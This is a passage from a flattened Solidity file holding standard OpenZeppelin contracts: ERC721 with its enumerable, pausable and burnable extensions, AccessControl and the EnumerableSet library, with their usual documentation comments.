* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/security/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File @openzeppelin/contracts/access/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts/access/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts/access/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File @openzeppelin/contracts/utils/structs/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts/access/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
